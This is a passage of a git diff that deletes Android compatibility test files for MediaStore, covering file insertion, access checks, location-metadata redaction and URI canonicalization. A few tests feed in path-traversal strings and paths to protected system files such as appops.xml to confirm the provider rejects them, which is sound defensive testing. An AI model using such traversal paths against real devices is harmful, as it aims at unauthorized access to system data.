- Log.e(TAG, "Scanned file " + file.getAbsolutePath() + ": " + mediaStoreUri);
- assertArrayEquals("File hashes should match for " + file + " and " + mediaStoreUri,
- hash(new FileInputStream(file)),
- hash(mContentResolver.openInputStream(mediaStoreUri)));
-
- // Verify the file is part of downloads collection.
- final long id = ContentUris.parseId(mediaStoreUri);
- final Cursor cursor = mContentResolver.query(mExternalDownloads,
- null, MediaStore.Downloads._ID + "=" + id, null, null);
- assertEquals(1, cursor.getCount());
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
deleted file mode 100644
index 9e71c69..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
+++ /dev/null
@@ -1,344 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.containsId;
-import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Files.FileColumns;
-import android.provider.MediaStore.MediaColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.IOException;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_FilesTest {
- private Context mContext;
- private ContentResolver mResolver;
-
- private Uri mExternalImages;
- private Uri mExternalFiles;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- mExternalFiles = MediaStore.Files.getContentUri(mVolumeName);
- }
-
- @Test
- public void testGetContentUri() throws Exception {
- Uri allFilesUri = mExternalFiles;
-
- ContentValues values = new ContentValues();
-
- // Add a path for a file and check that the returned uri appends a
- // path properly.
- String dataPath = new File(ProviderTestUtils.stageDir(mVolumeName),
- "does_not_really_exist.txt").getAbsolutePath();
- values.put(MediaColumns.DATA, dataPath);
- Uri fileUri = mResolver.insert(allFilesUri, values);
- long fileId = ContentUris.parseId(fileUri);
- assertEquals(fileUri, ContentUris.withAppendedId(allFilesUri, fileId));
-
- // Check that getContentUri with the file id produces the same url
- Uri rowUri = ContentUris.withAppendedId(mExternalFiles, fileId);
- assertEquals(fileUri, rowUri);
-
- // Check that the file count has increased.
- assertTrue(containsId(allFilesUri, fileId));
-
- // Check that the path we inserted was stored properly.
- assertStringColumn(fileUri, MediaColumns.DATA, dataPath);
-
- // Update the path and check that the database changed.
- String updatedPath = new File(ProviderTestUtils.stageDir(mVolumeName),
- "still_does_not_exist.txt").getAbsolutePath();
- values.put(MediaColumns.DATA, updatedPath);
- assertEquals(1, mResolver.update(fileUri, values, null, null));
- assertStringColumn(fileUri, MediaColumns.DATA, updatedPath);
-
- // check that inserting a duplicate entry fails
- Uri foo = mResolver.insert(allFilesUri, values);
- assertNull(foo);
-
- // Delete the file and observe that the file count decreased.
- assertEquals(1, mResolver.delete(fileUri, null, null));
- assertFalse(containsId(allFilesUri, fileId));
-
- // Make sure the deleted file is not returned by the cursor.
- Cursor cursor = mResolver.query(fileUri, null, null, null, null);
- try {
- assertFalse(cursor.moveToNext());
- } finally {
- cursor.close();
- }
-
- // insert file and check its parent
- values.clear();
- try {
- File stageDir = new File(ProviderTestUtils.stageDir(mVolumeName),
- Environment.DIRECTORY_MUSIC);
- stageDir.mkdirs();
- String b = stageDir.getAbsolutePath();
- values.put(MediaColumns.DATA, b + "/testing" + System.nanoTime());
- fileUri = mResolver.insert(allFilesUri, values);
- cursor = mResolver.query(fileUri, new String[] { MediaStore.Files.FileColumns.PARENT },
- null, null, null);
- assertEquals(1, cursor.getCount());
- cursor.moveToFirst();
- long parentid = cursor.getLong(0);
- assertTrue("got 0 parent for non root file", parentid != 0);
-
- cursor.close();
- cursor = mResolver.query(ContentUris.withAppendedId(allFilesUri, parentid),
- new String[] { MediaColumns.DATA }, null, null, null);
- assertEquals(1, cursor.getCount());
- cursor.moveToFirst();
- String parentPath = cursor.getString(0);
- assertEquals(b, parentPath);
-
- mResolver.delete(fileUri, null, null);
- } catch (IOException e) {
- fail(e.getMessage());
- } finally {
- cursor.close();
- }
- }
-
- @Test
- public void testCaseSensitivity() throws IOException {
- final String name = "Test-" + System.nanoTime() + ".Mp3";
- final File dir = ProviderTestUtils.stageDir(mVolumeName);
- final File file = new File(dir, name);
- final File fileLower = new File(dir, name.toLowerCase());
- ProviderTestUtils.stageFile(R.raw.testmp3, file);
-
- Uri allFilesUri = mExternalFiles;
- ContentValues values = new ContentValues();
- values.put(MediaColumns.DATA, fileLower.getAbsolutePath());
- Uri fileUri = mResolver.insert(allFilesUri, values);
- try {
- ParcelFileDescriptor pfd = mResolver.openFileDescriptor(fileUri, "r");
- pfd.close();
- } finally {
- mResolver.delete(fileUri, null, null);
- }
- }
-
- @Test
- public void testAccessInternal() throws Exception {
- final Uri internalFiles = MediaStore.Files.getContentUri(MediaStore.VOLUME_INTERNAL);
-
- for (String valid : new String[] {
- "/system/media/" + System.nanoTime() + ".ogg",
- }) {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.DATA, valid);
-
- final Uri uri = mResolver.insert(internalFiles, values);
- assertNotNull(valid, uri);
- mResolver.delete(uri, null, null);
- }
-
- for (String invalid : new String[] {
- "/data/media/" + System.nanoTime() + ".jpg",
- "/data/system/appops.xml",
- "/data/data/com.android.providers.media/databases/internal.db",
- new File(Environment.getExternalStorageDirectory(), System.nanoTime() + ".jpg")
- .getAbsolutePath(),
- }) {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.DATA, invalid);
- assertNull(invalid, mResolver.insert(internalFiles, values));
- }
- }
-
- @Test
- public void testAccess() throws Exception {
- final String path = MediaStore.getVolumePath(resolveVolumeName(mVolumeName))
- .getAbsolutePath();
- final Uri updateUri = ContentUris.withAppendedId(mExternalFiles,
- ContentUris.parseId(ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages)));
-
- for (String valid : new String[] {
- path + "/" + System.nanoTime() + ".jpg",
- path + "/DCIM/" + System.nanoTime() + ".jpg",
- }) {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.DATA, valid);
-
- final Uri uri = mResolver.insert(mExternalFiles, values);
- assertNotNull(valid, uri);
- mResolver.delete(uri, null, null);
-
- final int count = mResolver.update(updateUri, values, null, null);
- assertEquals(valid, 1, count);
- }
-
- for (String invalid : new String[] {
- "/data/media/" + System.nanoTime() + ".jpg",
- "/data/system/appops.xml",
- "/data/data/com.android.providers.media/databases/internal.db",
- path + "/../../../../../data/system/appops.xml",
- }) {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.DATA, invalid);
-
- try {
- assertNull(invalid, mResolver.insert(mExternalFiles, values));
- } catch (SecurityException tolerated) {
- }
-
- try {
- assertEquals(invalid, 0, mResolver.update(updateUri, values, null, null));
- } catch (SecurityException tolerated) {
- }
- }
- }
-
- @Test
- public void testUpdateMediaType() throws Exception {
- final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
- "test" + System.nanoTime() + ".mp3");
- ProviderTestUtils.stageFile(R.raw.testmp3, file);
-
- Uri allFilesUri = mExternalFiles;
- ContentValues values = new ContentValues();
- values.put(MediaColumns.DATA, file.getAbsolutePath());
- values.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_AUDIO);
- Uri fileUri = mResolver.insert(allFilesUri, values);
-
- // There is special logic in MediaProvider#update() to update paths when a folder was moved
- // or renamed. It only checks whether newValues only has one column but assumes the provided
- // column is _data. We need to guard the case where there is only one column in newValues
- // and it's not _data.
- ContentValues newValues = new ContentValues(1);
- newValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_NONE);
- mResolver.update(fileUri, newValues, null, null);
-
- try (Cursor c = mResolver.query(
- fileUri, new String[] { FileColumns.MEDIA_TYPE }, null, null, null)) {
- c.moveToNext();
- assertEquals(FileColumns.MEDIA_TYPE_NONE,
- c.getInt(c.getColumnIndex(FileColumns.MEDIA_TYPE)));
- }
- }
-
- @Test
- public void testDateAddedFrozen() throws Exception {
- final long startTime = (System.currentTimeMillis() / 1000);
- final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
- "test" + System.nanoTime() + ".mp3");
- ProviderTestUtils.stageFile(R.raw.testmp3, file);
-
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.DATA, file.getAbsolutePath());
- values.put(MediaColumns.DATE_ADDED, 32);
- final Uri uri = mResolver.insert(mExternalFiles, values);
-
- assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
-
- values.clear();
- values.put(MediaColumns.DATE_ADDED, 64);
- mResolver.update(uri, values, null, null);
-
- assertTrue(queryLong(uri, MediaColumns.DATE_ADDED) >= startTime);
- }
-
- @Test
- public void testInPlaceUpdate_mediaFileWithInvalidRelativePath() throws Exception {
- final File file = new File(ProviderTestUtils.stageDownloadDir(mVolumeName),
- "test" + System.nanoTime() + ".jpg");
- ProviderTestUtils.stageFile(R.raw.scenery, file);
- Log.d(TAG, "Staged image file at " + file.getAbsolutePath());
-
- final ContentValues insertValues = new ContentValues();
- insertValues.put(MediaColumns.DATA, file.getAbsolutePath());
- insertValues.put(MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
- final Uri uri = mResolver.insert(mExternalImages, insertValues);
- assertEquals(0, queryLong(uri, MediaStore.Images.ImageColumns.IS_PRIVATE));
- assertStringColumn(uri, MediaStore.Images.ImageColumns.DESCRIPTION, "Not a cat photo");
-
- final ContentValues updateValues = new ContentValues();
- updateValues.put(FileColumns.MEDIA_TYPE, FileColumns.MEDIA_TYPE_IMAGE);
- updateValues.put(FileColumns.MIME_TYPE, "image/jpeg");
- updateValues.put(MediaStore.Images.ImageColumns.IS_PRIVATE, 1);
- int updateRows = mResolver.update(uri, updateValues, null, null);
- assertEquals(1, updateRows);
- // Only interested in update not throwing exception. No need in checking whenever values
- // were actually updates, as it is not in the scope of this test.
- }
-
- private long queryLong(Uri uri, String columnName) {
- try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
- assertTrue(c.moveToFirst());
- return c.getLong(0);
- }
- }
-
- private String queryString(Uri uri, String columnName) {
- try (Cursor c = mResolver.query(uri, new String[] { columnName }, null, null, null)) {
- assertTrue(c.moveToFirst());
- return c.getString(0);
- }
- }
-
- private void assertStringColumn(Uri fileUri, String columnName, String expectedValue) {
- assertEquals(expectedValue, queryString(fileUri, columnName));
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
deleted file mode 100644
index 799e3ac..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ /dev/null
@@ -1,504 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.AppOpsManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.media.ExifInterface;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.os.storage.StorageManager;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Images.ImageColumns;
-import android.provider.MediaStore.Images.Media;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.FileUtils;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Images_MediaTest {
- private static final String MIME_TYPE_JPEG = "image/jpeg";
-
- private Context mContext;
- private ContentResolver mContentResolver;
-
- private Uri mExternalImages;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- }
-
- @Test
- public void testInsertImageWithImagePath() throws Exception {
- // TODO: expand test to verify paths from secondary storage devices
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
- final long unique1 = System.nanoTime();
- final String TEST_TITLE1 = "Title " + unique1;
-
- final long unique2 = System.nanoTime();
- final String TEST_TITLE2 = "Title " + unique2;
-
- Cursor c = Media.query(mContentResolver, mExternalImages, null, null,
- "_id ASC");
- int previousCount = c.getCount();
- c.close();
-
- // insert an image by path
- File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
- "mediaStoreTest1.jpg");
- String path = file.getAbsolutePath();
- ProviderTestUtils.stageFile(R.raw.scenery, file);
- String stringUrl = null;
- try {
- stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE1, null);
- } catch (FileNotFoundException e) {
- fail(e.getMessage());
- } catch (UnsupportedOperationException e) {
- // the tests will be aborted because the image will be put in sdcard
- fail("There is no sdcard attached! " + e.getMessage());
- }
- assertInsertionSuccess(stringUrl);
-
- // insert another image by path
- file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
- "mediaStoreTest2.jpg");
- path = file.getAbsolutePath();
- ProviderTestUtils.stageFile(R.raw.scenery, file);
- stringUrl = null;
- try {
- stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE2, null);
- } catch (FileNotFoundException e) {
- fail(e.getMessage());
- } catch (UnsupportedOperationException e) {
- // the tests will be aborted because the image will be put in sdcard
- fail("There is no sdcard attached! " + e.getMessage());
- }
- assertInsertionSuccess(stringUrl);
-
- // query the newly added image
- c = Media.query(mContentResolver, Uri.parse(stringUrl),
- new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE });
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
- assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
- c.close();
-
- // query all the images in external db and order them by descending id
- // (make the images added in test case in the first positions)
- c = Media.query(mContentResolver, mExternalImages,
- new String[] { Media.TITLE, Media.DESCRIPTION, Media.MIME_TYPE }, null,
- "_id DESC");
- assertEquals(previousCount + 2, c.getCount());
- c.moveToFirst();
- assertEquals(TEST_TITLE2, c.getString(c.getColumnIndex(Media.TITLE)));
- assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
- c.moveToNext();
- assertEquals(TEST_TITLE1, c.getString(c.getColumnIndex(Media.TITLE)));
- assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
- c.close();
-
- // query the second image added in the test
- c = Media.query(mContentResolver, Uri.parse(stringUrl),
- new String[] { Media.DESCRIPTION, Media.MIME_TYPE }, Media.TITLE + "=?",
- new String[] { TEST_TITLE2 }, "_id ASC");
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(MIME_TYPE_JPEG, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
- c.close();
- }
-
- @Test
- public void testInsertImageWithBitmap() throws Exception {
- final long unique3 = System.nanoTime();
- final String TEST_TITLE3 = "Title " + unique3;
- final String TEST_DESCRIPTION3 = "Description " + unique3;
-
- // insert the image by bitmap
- Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
- String stringUrl = null;
- try{
- stringUrl = Media.insertImage(mContentResolver, src, TEST_TITLE3, TEST_DESCRIPTION3);
- } catch (UnsupportedOperationException e) {
- // the tests will be aborted because the image will be put in sdcard
- fail("There is no sdcard attached! " + e.getMessage());
- }
- assertInsertionSuccess(stringUrl);
-
- Cursor c = Media.query(mContentResolver, Uri.parse(stringUrl), new String[] { Media.DATA },
- null, "_id ASC");
- c.moveToFirst();
- // get the bimap by the path
- Bitmap result = Media.getBitmap(mContentResolver,
- Uri.fromFile(new File(c.getString(c.getColumnIndex(Media.DATA)))));
-
- // can not check the identity between the result and source bitmap because
- // source bitmap is compressed before it is saved as result bitmap
- assertEquals(src.getWidth(), result.getWidth());
- assertEquals(src.getHeight(), result.getHeight());
- }
-
- @Presubmit
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
- null));
- c.close();
- assertNotNull(c = mContentResolver.query(Media.getContentUri(mVolumeName), null, null, null,
- null));
- c.close();
- }
-
- private void cleanExternalMediaFile(String path) {
- mContentResolver.delete(mExternalImages, "_data=?", new String[] { path });
- new File(path).delete();
- }
-
- @Test
- public void testStoreImagesMediaExternal() throws Exception {
- final File dir = ProviderTestUtils.stageDir(mVolumeName);
- final File file = ProviderTestUtils.stageFile(R.raw.scenery,
- new File(dir, "cts" + System.nanoTime() + ".jpg"));
-
- final String externalPath = file.getAbsolutePath();
- final long numBytes = file.length();
-
- ProviderTestUtils.waitUntilExists(file);
-
- ContentValues values = new ContentValues();
- values.put(Media.ORIENTATION, 0);
- values.put(Media.PICASA_ID, 0);
- long dateTaken = System.currentTimeMillis();
- values.put(Media.DATE_TAKEN, dateTaken);
- values.put(Media.DESCRIPTION, "This is a image");
- values.put(Media.IS_PRIVATE, 1);
- values.put(Media.MINI_THUMB_MAGIC, 0);
- values.put(Media.DATA, externalPath);
- values.put(Media.DISPLAY_NAME, file.getName());
- values.put(Media.MIME_TYPE, "image/jpeg");
- values.put(Media.SIZE, numBytes);
- values.put(Media.TITLE, "testimage");
- long dateAdded = System.currentTimeMillis() / 1000;
- values.put(Media.DATE_ADDED, dateAdded);
- long dateModified = System.currentTimeMillis() / 1000;
- values.put(Media.DATE_MODIFIED, dateModified);
-
- // insert
- Uri uri = mContentResolver.insert(mExternalImages, values);
- assertNotNull(uri);
-
- try {
- // query
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long id = c.getLong(c.getColumnIndex(Media._ID));
- assertTrue(id > 0);
- assertEquals(0, c.getInt(c.getColumnIndex(Media.ORIENTATION)));
- assertEquals(0, c.getLong(c.getColumnIndex(Media.PICASA_ID)));
- assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
- assertEquals("This is a image",
- c.getString(c.getColumnIndex(Media.DESCRIPTION)));
- assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
- assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
- assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
- assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
- assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
- assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
- assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
- long realDateAdded = c.getLong(c.getColumnIndex(Media.DATE_ADDED));
- assertTrue(realDateAdded >= dateAdded);
- // there can be delay as time is read after creation
- assertTrue(Math.abs(dateModified - c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)))
- < 5);
- c.close();
- } finally {
- // delete
- assertEquals(1, mContentResolver.delete(uri, null, null));
- file.delete();
- }
- }
-
- private void assertInsertionSuccess(String stringUrl) throws IOException {
- final Uri uri = Uri.parse(stringUrl);
-
- // check whether the thumbnails are generated
- try (Cursor c = mContentResolver.query(uri, null, null, null)) {
- assertEquals(1, c.getCount());
- }
-
- assertNotNull(mContentResolver.loadThumbnail(uri, new Size(512, 384), null));
- assertNotNull(mContentResolver.loadThumbnail(uri, new Size(96, 96), null));
- }
-
- /**
- * This test doesn't hold
- * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
- * location information should be redacted.
- */
- @Test
- public void testLocationRedaction() throws Exception {
- // STOPSHIP: remove this once isolated storage is always enabled
- Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalImages, displayName, "image/jpeg");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.lg_g4_iso_800_jpg);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
- final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
-
- // Since we own the image, we should be able to see the Exif data that
- // we ourselves contributed
- try (InputStream is = mContentResolver.openInputStream(publishUri)) {
- final ExifInterface exif = new ExifInterface(is);
- final float[] latLong = new float[2];
- exif.getLatLong(latLong);
- assertEquals(53.83451, latLong[0], 0.001);
- assertEquals(10.69585, latLong[1], 0.001);
-
- String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
- assertTrue("Failed to read XMP longitude", xmp.contains("53,50.070500N"));
- assertTrue("Failed to read XMP latitude", xmp.contains("10,41.751000E"));
- assertTrue("Failed to read non-location XMP", xmp.contains("LensDefaults"));
- }
- // As owner, we should be able to request the original bytes
- try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
- }
-
- // Remove ACCESS_MEDIA_LOCATION permission
- try {
- InstrumentationRegistry.getInstrumentation().getUiAutomation().
- adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
-
- // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
- // Deny access_media_permission App op to revoke this permission.
- if (mContext.getPackageManager().checkPermission(
- android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
- == PackageManager.PERMISSION_GRANTED) {
-
- mContext.getSystemService(AppOpsManager.class).setUidMode(
- "android:access_media_location", Process.myUid(),
- AppOpsManager.MODE_IGNORED);
- }
- } finally {
- InstrumentationRegistry.getInstrumentation().getUiAutomation().
- dropShellPermissionIdentity();
- }
-
- // Now remove ownership, which means that Exif/XMP location data should be redacted
- ProviderTestUtils.executeShellCommand("content update"
- + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
- + " --uri " + publishUri + " --bind owner_package_name:n:",
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
- try (InputStream is = mContentResolver.openInputStream(publishUri)) {
- final ExifInterface exif = new ExifInterface(is);
- final float[] latLong = new float[2];
- exif.getLatLong(latLong);
- assertEquals(0, latLong[0], 0.001);
- assertEquals(0, latLong[1], 0.001);
-
- String xmp = exif.getAttribute(ExifInterface.TAG_XMP);
- assertFalse("Failed to redact XMP longitude", xmp.contains("53,50.070500N"));
- assertFalse("Failed to redact XMP latitude", xmp.contains("10,41.751000E"));
- assertTrue("Redacted non-location XMP", xmp.contains("LensDefaults"));
- }
- // We can't request original bytes unless we have permission
- try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
- fail("Able to read original content without ACCESS_MEDIA_LOCATION");
- } catch (UnsupportedOperationException expected) {
- }
- }
-
- @Test
- public void testLocationDeprecated() throws Exception {
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalImages, displayName, "image/jpeg");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
- // Verify that location wasn't indexed
- try (Cursor c = mContentResolver.query(publishUri,
- new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
- assertTrue(c.moveToFirst());
- assertTrue(c.isNull(0));
- assertTrue(c.isNull(1));
- }
-
- // Verify that location values aren't recorded
- final ContentValues values = new ContentValues();
- values.put(ImageColumns.LATITUDE, 32f);
- values.put(ImageColumns.LONGITUDE, 64f);
- mContentResolver.update(publishUri, values, null, null);
-
- try (Cursor c = mContentResolver.query(publishUri,
- new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
- assertTrue(c.moveToFirst());
- assertTrue(c.isNull(0));
- assertTrue(c.isNull(1));
- }
- }
-
- @Test
- public void testCanonicalize() throws Exception {
- // Remove all audio left over from other tests
- ProviderTestUtils.executeShellCommand("content delete"
- + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
- + " --uri " + mExternalImages,
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
-
- // Publish some content
- final File dir = ProviderTestUtils.stageDir(mVolumeName);
- final Uri a = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "a.jpg")));
- final Uri b = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "b.jpg")));
- final Uri c = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.scenery, new File(dir, "c.jpg")));
-
- // Confirm we can canonicalize and recover it
- final Uri canonicalized = mContentResolver.canonicalize(b);
- assertNotNull(canonicalized);
- assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
-
- // Delete all items above
- mContentResolver.delete(a, null, null);
- mContentResolver.delete(b, null, null);
- mContentResolver.delete(c, null, null);
-
- // Confirm canonical item isn't found
- assertNull(mContentResolver.uncanonicalize(canonicalized));
-
- // Publish data again and confirm we can recover it
- final Uri d = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.lg_g4_iso_800_jpg, new File(dir, "d.jpg")));
- assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
- }
-
- @Test
- public void testMetadata() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
- "image/jpeg");
-
- try (Cursor c = mContentResolver.query(uri, null, null, null)) {
- assertTrue(c.moveToFirst());
-
- // Confirm that we parsed Exif metadata
- assertEquals(0, c.getLong(c.getColumnIndex(ImageColumns.ORIENTATION)));
- assertEquals(600, c.getLong(c.getColumnIndex(ImageColumns.WIDTH)));
- assertEquals(337, c.getLong(c.getColumnIndex(ImageColumns.HEIGHT)));
-
- // Confirm that we parsed XMP metadata
- assertEquals("xmp.did:041dfd42-0b46-4302-918a-836fba5016ed",
- c.getString(c.getColumnIndex(ImageColumns.DOCUMENT_ID)));
- assertEquals("xmp.iid:041dfd42-0b46-4302-918a-836fba5016ed",
- c.getString(c.getColumnIndex(ImageColumns.INSTANCE_ID)));
- assertEquals("3F9DD7A46B26513A7C35272F0D623A06",
- c.getString(c.getColumnIndex(ImageColumns.ORIGINAL_DOCUMENT_ID)));
-
- // Confirm that timestamp was parsed with offset information
- assertEquals(1447346778000L + 25200000L,
- c.getLong(c.getColumnIndex(ImageColumns.DATE_TAKEN)));
-
- // We just added and modified the file, so should be recent
- final long added = c.getLong(c.getColumnIndex(ImageColumns.DATE_ADDED));
- final long modified = c.getLong(c.getColumnIndex(ImageColumns.DATE_MODIFIED));
